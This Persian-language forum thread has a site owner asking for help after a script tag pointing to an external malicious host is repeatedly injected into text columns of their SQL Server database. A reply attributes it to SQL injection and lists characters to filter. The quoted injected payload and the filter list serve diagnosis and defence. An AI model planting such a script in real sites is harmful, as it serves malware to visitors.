PDA

View Full Version : وارد شدن اسکریپت به رکوردهای جداول!



zibaaa
سه شنبه 19 مهر 1390, 21:17 عصر
سلام و خسته نباشید.
مشکلی برای سایت من بوجود اومده و اون اینکه هر چند روز یکبار ، به یکی از ستون های برخی از جدول های دیتایس من اسکریپت عجیبی insert میشه. این اسکریپت به انتهای متن موجود در دیتابیس اضافه میشه.اسکریپتش هم اینه:
</title><script src=http://jjghui.com/urchin.js ></script>
اون جدول هایی از دیتابیس که دچار این مشکل میشن ستونی دارند به اسم Comm (که توضیحات رو ذخیره میکنه) و نوعش هم nvarchar(4000)
یا nvarchar(2000) است. و فقط این ستونه که دچار این مشکل میشه و اسکریپت واردش میشه. حدسم اینه که کسی به قصد آزار داره از طریق یکی از روشهای هک کردن این کارو انجام میده ولی من چیز زیادی از هک کردن و راه جلوگیری ازش نمیدونم. سایتم Asp.net هست و دیتابیسم sqlserver.
برای login کاربران و صفحاتی که از سمت کاربران عمل درج اطلاعات و اصلاح اطلاعات( insert و update ) انجام میشه از Stored Procedure استفاده کردم به همراه کد امنیتی (Capcha)
ممنون میشم اگه راهنماییم کنین برای جلوگیری از این مشکل چه کار میتونم بکنم.

Elham_gh
چهارشنبه 20 مهر 1390, 11:29 صبح
مشکل در حال حاضر به نظر حاد نمیاد.همانظور که خودتون گفتید در حد آزار و اذیت است. اما شما به راحتی می توانید با SQL Injection مواجه شوید.
باید ورودی های دستور INSERT خود را که اختمالا با پارامتر دریافت می کنید کنترل کنید. باید کنترل کنید که پارامتر شما شامل مقادیر ; ' -- /* ... */ xp_ نباشد و همینطور هر آنچه از نظر شما غیر مجاز است. مثل آدرس سایتها.
این لینک (http://msdn.microsoft.com/en-us/library/ms161953.aspx) هم کمک بدی نیست.

zibaaa
چهارشنبه 20 مهر 1390, 12:21 عصر
همین آزار و اذیت مشکل ساز شده واسه سایت! اسکریپت مخرب هست و لود صفحات رو دچار مشکل میکنه.
برای جلوگیری از این مشکل چه کار میتونم بکنم؟
از طزفی وقتی validateRequest="true" باشه امکان درج اسکریپتی که شامل تگهای < و > و ... باشه از طریق textbox وجود نداره.من فکر میکنم از این روش این کار رو نمیکنن.از یه راه دیگه انجام میدن.نظر شما چیه؟
با توجه به اینکه کل 1000 تا رکورد جدول، بعد از حمله(!) این اسکریپت به انتهای متن اضافه میشه.